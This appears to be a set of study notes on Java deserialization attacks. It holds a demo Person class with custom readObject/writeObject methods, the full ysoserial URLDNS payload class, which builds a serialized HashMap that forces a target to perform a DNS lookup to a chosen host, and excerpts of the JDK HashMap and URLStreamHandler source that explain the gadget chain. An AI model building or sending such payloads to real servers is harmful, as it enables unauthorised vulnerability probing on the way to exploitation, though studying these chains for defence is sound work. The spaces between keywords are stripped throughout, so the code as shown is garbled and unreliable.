packageBase.Unserialize.Base;importjava.io.IOException;publicclassPersonimplementsjava.io.Serializable{publicStringname;publicintage;publicPerson(Stringname,intage){this.name=name;this.age=age;}privatevoidwriteObject(java.io.ObjectOutputStreams)throwsIOException{s.defaultWriteObject();s.writeObject("This is a object");}privatevoidreadObject(java.io.ObjectInputStreams)throwsIOException,ClassNotFoundException{s.defaultReadObject();Stringmessage=(String)s.readObject();System.out.println(message);}}
packageBase.Unserialize.Base;importjava.io.*;classPerson1implementsSerializable{Stringname;intage;Person1(Stringname,intage){this.name=name;this.age=age;}privatevoidwriteObject(java.io.ObjectOutputStreams)throwsIOException{s.defaultWriteObject();s.writeObject("This is a object");}privatevoidreadObject(java.io.ObjectInputStreams)throwsIOException,ClassNotFoundException{s.defaultReadObject();Stringmessage=(String)s.readObject();System.out.println(message);}}publicclassExample{publicstaticvoidmain(String[]args){// 创建并序列化一个对象Person1person=newPerson1("John Doe",30);try{FileOutputStreamfileOut=newFileOutputStream("person.ser");ObjectOutputStreamout=newObjectOutputStream(fileOut);out.writeObject(person);out.close();fileOut.close();}catch(IOExceptione){e.printStackTrace();}// 反序列化对象Person1deserializedPerson=null;try{FileInputStreamfileIn=newFileInputStream("person.ser");ObjectInputStreamin=newObjectInputStream(fileIn);deserializedPerson=(Person1)in.readObject();in.close();fileIn.close();}catch(IOException|ClassNotFoundExceptione){e.printStackTrace();}// 输出反序列化后的对象信息if(deserializedPerson!=null){System.out.println("Name: "+deserializedPerson.name);System.out.println("Age: "+deserializedPerson.age);}}}
packageysoserial.payloads;importjava.io.IOException;importjava.net.InetAddress;importjava.net.URLConnection;importjava.net.URLStreamHandler;importjava.util.HashMap;importjava.net.URL;importysoserial.payloads.annotation.Authors;importysoserial.payloads.annotation.Dependencies;importysoserial.payloads.annotation.PayloadTest;importysoserial.payloads.util.PayloadRunner;importysoserial.payloads.util.Reflections;/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/@SuppressWarnings({"rawtypes","unchecked"})@PayloadTest(skip="true")@Dependencies()@Authors({Authors.GEBL})publicclassURLDNSimplementsObjectPayload<Object>{publicObjectgetObject(finalStringurl)throwsException{//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandlerhandler=newSilentURLStreamHandler();HashMapht=newHashMap();// HashMap that will contain the URLURLu=newURL(null,url,handler);// URL to use as the Keyht.put(u,url);//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u,"hashCode",-1);// During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.returnht;}publicstaticvoidmain(finalString[]args)throwsException{PayloadRunner.run(URLDNS.class,args);}/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/staticclassSilentURLStreamHandlerextendsURLStreamHandler{protectedURLConnectionopenConnection(URLu)throwsIOException{returnnull;}protectedsynchronizedInetAddressgetHostAddress(URLu){returnnull;}}}
privatevoidreadObject(java.io.ObjectInputStreams)throwsIOException,ClassNotFoundException{// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if(loadFactor<=0||Float.isNaN(loadFactor))thrownewInvalidObjectException("Illegal load factor: "+loadFactor);s.readInt();// Read and ignore number of bucketsintmappings=s.readInt();// Read number of mappings (size)if(mappings<0)thrownewInvalidObjectException("Illegal mappings count: "+mappings);elseif(mappings>0){// (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0floatlf=Math.min(Math.max(0.25f,loadFactor),4.0f);floatfc=(float)mappings/lf+1.0f;intcap=((fc<DEFAULT_INITIAL_CAPACITY)?DEFAULT_INITIAL_CAPACITY:(fc>=MAXIMUM_CAPACITY)?MAXIMUM_CAPACITY:tableSizeFor((int)fc));floatft=(float)cap*lf;threshold=((cap<MAXIMUM_CAPACITY&&ft<MAXIMUM_CAPACITY)?(int)ft:Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s,Map.Entry[].class,cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[]tab=(Node<K,V>[])newNode[cap];table=tab;// Read the keys and values, and put the mappings in the HashMapfor(inti=0;i<mappings;i++){@SuppressWarnings("unchecked")Kkey=(K)s.readObject();@SuppressWarnings("unchecked")Vvalue=(V)s.readObject();putVal(hash(key),key,value,false,false);}}}
protectedinthashCode(URLu){inth=0;// Generate the protocol part.Stringprotocol=u.getProtocol();if(protocol!=null)h+=protocol.hashCode();// Generate the host part.InetAddressaddr=getHostAddress(u);if(addr!=null){h+=addr.hashCode();}else{Stringhost=u.getHost();if(host!=null)h+=host.toLowerCase().hashCode();}// Generate the file part.Stringfile=u.getFile();if(file!=null)h+=file.hashCode();// Generate the port part.if(u.getPort()==-1)h+=getDefaultPort();elseh+=u.getPort();// Generate the ref part.Stringref=u.getRef();if(ref!=null)h+=ref.hashCode();returnh;}